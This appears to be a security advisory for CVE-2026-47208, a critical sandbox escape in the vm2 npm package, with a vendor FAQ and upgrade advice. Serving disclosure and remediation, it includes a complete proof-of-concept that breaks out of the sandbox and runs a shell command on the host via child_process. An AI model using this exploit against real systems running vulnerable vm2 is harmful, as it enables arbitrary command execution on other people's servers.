CVE-2026-47208

VM2 suffers from a sandbox breakout vulnerability. This allows attackers to write code which can escape from the VM2 sandbox and execute arbitrary commands on the host system.

Details

The localPromise constructor was changed to call this.then(undefined, eater) to ensure a rejected promise is always used. However, this is missing a call to resetPromiseSpecies to ensure that this has no special species. Since the species can be changed a custom promise can be used to supply a custom reject method to the executor allowing to get a raw host error and escape the sandbox.

PoC

const {VM} = require("vm2");
const vm = new VM();
vm.run(`
class E extends Error {}
function so(d) {
	if (d > 0) so(d-1);
	const e = new E();
	e.stack;
	throw e;
}
let ex, ct;
class FakePromise extends Promise {
	static get [Symbol.species](){return ct;}
}
function doCatch(f) {
	ex=undefined;
	const p=Promise.withResolvers();
	ct = function(e){e(f, v=>{ex=v;p.resolve();})};
	new FakePromise(r=>r());
	return p.promise;
}
(async function f(s) {
	let min = s;
	let max = 100000;
	while (min<max) {
		const mid = (min+max)>>1;
		await doCatch(()=>so(mid));
		if (ex.name==="RangeError" && !(ex instanceof RangeError)) {
			ex.constructor.constructor("return process")().mainModule.require('child_process').execSync('touch pwned');
			return;
		}
		if (ex instanceof E) {
			min = mid+1;
		} else {
			max = mid;
		}
	}
	f(s+1);
})(0);
`);

Attackers can perform Remote Code Execution under the assumption that the attacker can run arbitrary code execution inside the context of a vm2 sandbox.

CVE-2026-47208 has a CVSS score of 10.0 (Critical). The vector is network-reachable, no privileges required, and no user interaction. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. A fixed version is available (3.11.4); upgrading removes the vulnerable code path.

Kodem intelligence

1. What is CVE-2026-47208? CVE-2026-47208 is a critical-severity security vulnerability in vm2 (npm), affecting versions <= 3.11.3. It is fixed in 3.11.4.
2. How severe is CVE-2026-47208? CVE-2026-47208 has a CVSS score of 10.0 (Critical). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
3. Which versions of vm2 are affected by CVE-2026-47208? vm2 (npm) versions <= 3.11.3 is affected.
4. Is there a fix for CVE-2026-47208? Yes. CVE-2026-47208 is fixed in 3.11.4. Upgrade to this version or later.
5. Is CVE-2026-47208 exploitable, and should I be worried? Whether CVE-2026-47208 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
6. What actually determines whether CVE-2026-47208 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
7. How do I fix CVE-2026-47208? Upgrade vm2 to 3.11.4 or later.